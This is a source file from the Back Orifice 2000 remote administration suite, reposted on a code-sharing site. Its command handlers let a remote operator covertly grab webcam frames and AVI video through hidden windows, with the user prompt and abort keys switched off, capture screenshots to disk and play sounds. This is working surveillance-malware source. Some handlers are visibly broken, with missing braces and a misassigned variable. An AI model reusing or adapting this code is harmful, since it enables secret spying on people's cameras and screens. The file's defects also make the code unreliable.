cmd_multimedia.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:14k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<iohandler.h>
  18. #include<encryption.h>
  19. #include<commandloop.h>
  20. #include<bocomreg.h>
  21. #include<cmdcmd_multimedia.h>
  22. #include<strhandle.h>
  23. #include<vfw.h>
  24. #include<main.h>
  25. int CmdProc_MMCapFrame(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  26. {
  27. char svBuffer[1024];
  28. // Create capture window (hidden inside invisible parent window)
  29. HWND hwnd,hwndCap;
  30. hwnd=CreateWindow("WSCLAS", "", 0, 0, 0, 1, 1, HWND_DESKTOP, NULL, g_module, NULL);
  31. if(hwnd==NULL) {
  32. IssueAuthCommandReply(cas_from,comid,0,"Could not create parent window.n");
  33. return 1;
  34. }
  35. hwndCap=capCreateCaptureWindow("Window", WS_CHILD, 0, 0, 160, 120, hwnd, 1);
  36. if(hwndCap==NULL) {
  37. DestroyWindow(hwnd);
  38. IssueAuthCommandReply(cas_from,comid,0,"Could not create capture window.n");
  39. return 1;
  40. }
  41. // Connect to capture driver
  42. if(capDriverConnect(hwndCap, nArg1)==FALSE) {
  43. DestroyWindow(hwnd);
  44. DestroyWindow(hwndCap);
  45. wsprintf(svBuffer, "Unable to connect to driver #%dn", nArg1);
  46. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  47. return 1;
  48. }
  49. // Ensure everything was initialized
  50. CAPDRIVERCAPS pcdc;
  51. capDriverGetCaps(hwndCap, &pcdc, sizeof(CAPDRIVERCAPS));
  52. if(!pcdc.fCaptureInitialized) {
  53. DestroyWindow(hwnd);
  54. DestroyWindow(hwndCap);
  55. wsprintf(svBuffer, "Driver was not initialized for device #%dn", nArg1);
  56. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  57. return 1;
  58. }
  59. // Get original bitmapinfo
  60. DWORD dwSize;
  61. BITMAPINFO *pbiOrig, *pbiInfo;
  62. dwSize=capGetVideoFormatSize(hwndCap);
  63. pbiOrig=(BITMAPINFO *)malloc(dwSize);
  64. if(pbiOrig==NULL) {
  65. DestroyWindow(hwndCap);
  66. DestroyWindow(hwnd);
  67. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  68. return 1;
  69. }
  70. pbiInfo=(BITMAPINFO *)malloc(dwSize);
  71. if(pbiInfo==NULL) {
  72. DestroyWindow(hwndCap);
  73. DestroyWindow(hwnd);
  74. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  75. return 1;
  76. }
  77. capGetVideoFormat(hwndCap, pbiOrig, dwSize); 
  78. memcpy(pbiInfo, pbiOrig, dwSize);
  79. // Parse video format spec
  80. DWORD dwWidth,dwHeight,dwBPP;
  81. char *svWidth,*svHeight,*svBPP;
  82. svWidth=svArg3;
  83. svHeight=BreakString(svWidth,",");
  84. svBPP=BreakString(svHeight,",");
  85. if(svWidth!=NULL) {
  86. dwWidth=atoi(svWidth);
  87. if(dwWidth<=0) dwWidth=640;
  88. } else dwWidth=640;
  89. if(svHeight!=NULL) {
  90. dwHeight=atoi(svHeight);
  91. if(dwHeight<=0) dwHeight=480;
  92. } else dwHeight=480;
  93. if(svBPP!=NULL) {
  94. dwBPP=atoi(svBPP);
  95. if(dwBPP<=0) dwBPP=16;
  96. } else dwBPP=16;
  97. pbiInfo->bmiHeader.biWidth = dwWidth;
  98. pbiInfo->bmiHeader.biHeight = dwHeight;
  99. pbiInfo->bmiHeader.biBitCount = (WORD) dwBPP;
  100. pbiInfo->bmiHeader.biSizeImage = 0;
  101. pbiInfo->bmiHeader.biCompression = BI_RGB;
  102. pbiInfo->bmiHeader.biClrUsed = 0;
  103. pbiInfo->bmiHeader.biClrImportant = 0;
  104. pbiInfo->bmiHeader.biPlanes = 1;
  105. pbiInfo->bmiColors->rgbBlue = 0;
  106. pbiInfo->bmiColors->rgbGreen = 0;
  107. pbiInfo->bmiColors->rgbRed = 0;
  108. pbiInfo->bmiColors->rgbReserved = 0;
  109. // Set video format, capture frame, and save to disk
  110. capSetVideoFormat(hwndCap, pbiInfo, dwSize);
  111. capGrabFrameNoStop(hwndCap);
  112. capFileSaveDIB(hwndCap, svArg2);
  113. // Restore original capture mode and clean up
  114. capSetVideoFormat(hwndCap, pbiOrig, dwSize);
  115. free(pbiOrig);
  116. free(pbiInfo);
  117. capDriverDisconnect(hwndCap); 
  118. DestroyWindow(hwndCap);
  119. DestroyWindow(hwnd);
  120. IssueAuthCommandReply(cas_from,comid,0,"Frame captured to file.n");
  121. return 0;
  122. }
  123. int CmdProc_MMCapAVI(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  124. {
  125. char svBuffer[1024];
  126. // Create capture window (hidden inside invisible parent window)
  127. HWND hwnd,hwndCap;
  128. hwnd=CreateWindow("WSCLAS", "", 0, 0, 0, 1, 1, HWND_DESKTOP, NULL, g_module, NULL);
  129. if(hwnd==NULL) {
  130. IssueAuthCommandReply(cas_from,comid,0,"Could not create parent window.n");
  131. return 1;
  132. }
  133. hwndCap=capCreateCaptureWindow("Window", WS_CHILD, 0, 0, 160, 120, hwnd, 1);
  134. if(hwndCap==NULL) {
  135. DestroyWindow(hwnd);
  136. IssueAuthCommandReply(cas_from,comid,0,"Could not create capture window.n");
  137. return 1;
  138. }
  139. // Connect to capture driver
  140. if(capDriverConnect(hwndCap, nArg1)==FALSE) {
  141. DestroyWindow(hwnd);
  142. DestroyWindow(hwndCap);
  143. wsprintf(svBuffer, "Unable to connect to driver #%dn", nArg1);
  144. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  145. return 1;
  146. }
  147. // Ensure everything was initialized
  148. CAPDRIVERCAPS pcdc;
  149. capDriverGetCaps(hwndCap, &pcdc, sizeof(CAPDRIVERCAPS));
  150. if(!pcdc.fCaptureInitialized) {
  151. DestroyWindow(hwnd);
  152. DestroyWindow(hwndCap);
  153. wsprintf(svBuffer, "Driver was not initialized for device #%dn", nArg1);
  154. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  155. return 1;
  156. }
  157. // Get original bitmapinfo
  158. DWORD dwSize;
  159. BITMAPINFO *pbiOrig, *pbiInfo;
  160. dwSize=capGetVideoFormatSize(hwndCap);
  161. pbiOrig=(BITMAPINFO *)malloc(dwSize);
  162. if(pbiOrig==NULL) {
  163. DestroyWindow(hwndCap);
  164. DestroyWindow(hwnd);
  165. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  166. return 1;
  167. }
  168. pbiInfo=(BITMAPINFO *)malloc(dwSize);
  169. if(pbiInfo==NULL) {
  170. DestroyWindow(hwndCap);
  171. DestroyWindow(hwnd);
  172. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  173. return 1;
  174. }
  175. capGetVideoFormat(hwndCap, pbiOrig, dwSize); 
  176. memcpy(pbiInfo, pbiOrig, dwSize);
  177. // Parse video format spec
  178. DWORD dwSeconds,dwWidth,dwHeight,dwBPP,dwFPS;
  179. char *svSeconds,*svWidth,*svHeight,*svBPP,*svFPS;
  180. svSeconds=svArg3;
  181. svWidth=BreakString(svSeconds,",");
  182. svHeight=BreakString(svWidth,",");
  183. svBPP=BreakString(svHeight,",");
  184. svFPS=BreakString(svBPP,",");
  185. if(svSeconds!=NULL) {
  186. dwSeconds=atoi(svSeconds);
  187. if(dwSeconds<=0) dwSeconds=5;
  188. } else dwWidth=5;
  189. if(svWidth!=NULL) {
  190. dwWidth=atoi(svWidth);
  191. if(dwWidth<=0) dwWidth=160;
  192. } else dwWidth=160;
  193. if(svHeight!=NULL) {
  194. dwHeight=atoi(svHeight);
  195. if(dwHeight<=0) dwHeight=120;
  196. } else dwHeight=120;
  197. if(svBPP!=NULL) {
  198. dwBPP=atoi(svBPP);
  199. if(dwBPP<=0) dwBPP=16;
  200. } else dwBPP=16;
  201. if(svFPS!=NULL) {
  202. dwFPS=atoi(svFPS);
  203. if(dwFPS<=0) dwFPS=15;
  204. } else dwFPS=15;
  205. pbiInfo->bmiHeader.biWidth = dwWidth;
  206. pbiInfo->bmiHeader.biHeight = dwHeight;
  207. pbiInfo->bmiHeader.biBitCount = (WORD) dwBPP;
  208. pbiInfo->bmiHeader.biSizeImage = 0;
  209. pbiInfo->bmiHeader.biCompression = BI_RGB;
  210. pbiInfo->bmiHeader.biClrUsed = 0;
  211. pbiInfo->bmiHeader.biClrImportant = 0;
  212. pbiInfo->bmiHeader.biPlanes = 1;
  213. pbiInfo->bmiColors->rgbBlue = 0;
  214. pbiInfo->bmiColors->rgbGreen = 0;
  215. pbiInfo->bmiColors->rgbRed = 0;
  216. pbiInfo->bmiColors->rgbReserved = 0;
  217. // Set video format, setup capture, and capture video
  218. CAPTUREPARMS capparms;
  219. capSetVideoFormat(hwndCap, pbiInfo, dwSize);
  220. capCaptureGetSetup(hwndCap, &capparms, sizeof(CAPTUREPARMS));
  221. capparms.fMakeUserHitOKToCapture = FALSE;
  222. capparms.vKeyAbort = 0;
  223. capparms.fAbortLeftMouse = FALSE;
  224. capparms.fAbortRightMouse = FALSE;
  225. capparms.fLimitEnabled = TRUE;
  226. capparms.wTimeLimit = dwSeconds;
  227. capparms.dwRequestMicroSecPerFrame = (1000000/dwFPS);
  228. capCaptureSetSetup(hwndCap, &capparms, sizeof(CAPTUREPARMS));
  229. capFileSetCaptureFile(hwndCap, svArg2); 
  230. IssueAuthCommandReply(cas_from,comid,0,"Capturing, please wait...n");
  231. capCaptureSequence(hwndCap); 
  232. // Restore old video format
  233. capSetVideoFormat(hwndCap, pbiOrig, dwSize);
  234. free(pbiOrig);
  235. free(pbiInfo);
  236. capDriverDisconnect(hwndCap); 
  237. DestroyWindow(hwndCap);
  238. DestroyWindow(hwnd);
  239. IssueAuthCommandReply(cas_from,comid,0,"AVI captured to file.n");
  240. return 0;
  241. }
  242. int CmdProc_MMPlaySound(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  243. {
  244. if (PlaySound(svArg2, NULL, SND_FILENAME|SND_NODEFAULT|SND_NOWAIT|SND_ASYNC)==FALSE) {
  245. IssueAuthCommandReply(cas_from,comid,0,"Unable to play sound.n");
  246. return 1;
  247. IssueAuthCommandReply(cas_from,comid,0,"Playing sound.n");
  248. return 0;
  249. }
  250. int CmdProc_MMLoopSound(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  251. {
  252. if (PlaySound(svArg2, NULL, SND_LOOP|SND_FILENAME|SND_NODEFAULT|SND_NOWAIT|SND_ASYNC)==FALSE) {
  253. IssueAuthCommandReply(cas_from,comid,0,"Unable to play sound.n");
  254. return 1;
  255. IssueAuthCommandReply(cas_from,comid,0,"Playing sound repeatedly.n");
  256. return 0;
  257. }
  258. int CmdProc_MMStopSound(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  259. {
  260. if (PlaySound(NULL, NULL, SND_PURGE)==FALSE) {
  261. IssueAuthCommandReply(cas_from,comid,0,"Unable to stop sound.n");
  262. return 1;
  263. IssueAuthCommandReply(cas_from,comid,0,"Sound stopped.n");
  264. return 0;
  265. }
  266. int CmdProc_MMListCaps(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  267. {
  268. char svBuffer[1024];
  269. char svName[256];
  270. char svComment[512];
  271. int i,nCount;
  272. IssueAuthCommandReply(cas_from,comid,1,"Listing video input devices:n");
  273. nCount=0;
  274. for (i=0;i<10;i++) {
  275. if(capGetDriverDescription(i, svName, 255, svComment, 511)) {
  276. wsprintf(svBuffer, "%d: %s %sn", i, svName, svComment);
  277. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  278. nCount++;
  279. }
  280. }
  281. wsprintf(svBuffer,"%d devices listed.n", nCount);
  282. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  283. return 0;
  284. }
  285. int CmdProc_MMCapScreen(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  286. {
  287. // Create device context
  288. HDC hdc;
  289. hdc=CreateDC("DISPLAY", NULL, NULL, NULL);
  290. if(hdc==NULL) {
  291. IssueAuthCommandReply(cas_from,comid,0,"Couldn't create device context.n");
  292. return 1;
  293. }
  294. // Get dimensions
  295. DWORD dwWidth, dwHeight, dwBPP, dwNumColors;
  296. dwWidth = GetDeviceCaps(hdc, HORZRES);
  297. dwHeight = GetDeviceCaps(hdc, VERTRES);
  298. dwBPP = GetDeviceCaps(hdc, BITSPIXEL);
  299. if(dwBPP<=8) {
  300. dwNumColors = GetDeviceCaps(hdc, NUMCOLORS);
  301. dwNumColors = 256;
  302. } else {
  303. dwNumColors = 0;
  304. }
  305. // Create compatible DC
  306. HDC hdc2;
  307. hdc2=CreateCompatibleDC(hdc);
  308. if(hdc2==NULL) {
  309. DeleteDC(hdc);
  310. IssueAuthCommandReply(cas_from,comid,0,"Couldn't create compatible device context.n");
  311. return 1;
  312. }
  313. // Create bitmap
  314. HBITMAP bitmap;
  315. BITMAPINFO bmpinfo;
  316. LPVOID pBits;
  317. bmpinfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
  318. bmpinfo.bmiHeader.biWidth = dwWidth;
  319. bmpinfo.bmiHeader.biHeight = dwHeight;
  320. bmpinfo.bmiHeader.biPlanes = 1;
  321. bmpinfo.bmiHeader.biBitCount = (WORD) dwBPP;
  322. bmpinfo.bmiHeader.biCompression = BI_RGB;
  323. bmpinfo.bmiHeader.biSizeImage = 0;
  324. bmpinfo.bmiHeader.biXPelsPerMeter = 0;
  325. bmpinfo.bmiHeader.biYPelsPerMeter = 0;
  326. bmpinfo.bmiHeader.biClrUsed = dwNumColors;
  327. bmpinfo.bmiHeader.biClrImportant = dwNumColors;
  328. bitmap = CreateDIBSection(hdc, &bmpinfo, DIB_PAL_COLORS, &pBits, NULL, 0);
  329. if(bitmap==NULL) {
  330. DeleteDC(hdc);
  331. DeleteDC(hdc2);
  332. IssueAuthCommandReply(cas_from,comid,0,"Couldn't create compatible bitmap.n");
  333. return 1;
  334. }
  335. HGDIOBJ gdiobj;
  336. gdiobj = SelectObject(hdc2, (HGDIOBJ)bitmap);
  337. if((gdiobj==NULL) || (gdiobj==(void *)GDI_ERROR)) {
  338. DeleteDC(hdc);
  339. DeleteDC(hdc2);
  340. IssueAuthCommandReply(cas_from,comid,0,"Couldn't select bitmap.n");
  341. return 1;
  342. }
  343. if (!BitBlt(hdc2, 0,0, dwWidth, dwHeight, hdc, 0,0, SRCCOPY)) {
  344. DeleteDC(hdc);
  345. DeleteDC(hdc2);
  346. IssueAuthCommandReply(cas_from,comid,0,"Couldn't copy bitmap.n");
  347. return 1;
  348. }
  349. RGBQUAD colors[256];
  350. if(dwNumColors!=0) {
  351. dwNumColors = GetDIBColorTable(hdc2, 0, dwNumColors, colors);
  352. }
  353. // Fill in bitmap structures
  354. BITMAPFILEHEADER bitmapfileheader;
  355. BITMAPINFOHEADER bitmapinfoheader;
  356. bitmapfileheader.bfType = 0x4D42;
  357. bitmapfileheader.bfSize = ((dwWidth * dwHeight * dwBPP)/8) + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + (dwNumColors * sizeof(RGBQUAD));
  358. bitmapfileheader.bfReserved1 = 0;
  359. bitmapfileheader.bfReserved2 = 0;
  360. bitmapfileheader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + (dwNumColors * sizeof(RGBQUAD));  
  361. bitmapinfoheader.biSize = sizeof(BITMAPINFOHEADER);
  362. bitmapinfoheader.biWidth = dwWidth;
  363. bitmapinfoheader.biHeight = dwHeight;
  364. bitmapinfoheader.biPlanes = 1;
  365. bitmapinfoheader.biBitCount = (WORD)dwBPP;
  366. bitmapinfoheader.biCompression = BI_RGB;
  367. bitmapinfoheader.biSizeImage = 0;
  368. bitmapinfoheader.biXPelsPerMeter = 0;
  369. bitmapinfoheader.biYPelsPerMeter = 0;
  370. bitmapinfoheader.biClrUsed = dwNumColors;
  371. bitmapinfoheader.biClrImportant = 0;
  372. // Write bitmap to disk
  373. HANDLE hfile;
  374. DWORD dwBytes;
  375. hfile=CreateFile(svArg2,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  376. if(hfile==INVALID_HANDLE_VALUE) {
  377. DeleteObject(bitmap);
  378. DeleteDC(hdc2);
  379. DeleteDC(hdc);
  380. IssueAuthCommandReply(cas_from,comid,0,"Couldn't write file to disk.n");
  381. return 1;
  382. }
  383. WriteFile(hfile,&bitmapfileheader,sizeof(BITMAPFILEHEADER), &dwBytes, NULL);
  384. WriteFile(hfile,&bitmapinfoheader,sizeof(BITMAPINFOHEADER), &dwBytes, NULL);
  385. if(dwNumColors!=0)
  386. WriteFile(hfile,colors,sizeof(RGBQUAD)*dwNumColors,&dwBytes,NULL);
  387. WriteFile(hfile,pBits,(dwWidth*dwHeight*dwBPP)/8,&dwBytes,NULL);
  388. CloseHandle(hfile);
  389. IssueAuthCommandReply(cas_from,comid,0,"Bitmap captured to disk file.n");
  390. // Clean up
  391. DeleteObject(bitmap);
  392. DeleteDC(hdc2);
  393. DeleteDC(hdc);
  394. return 0;
  395. }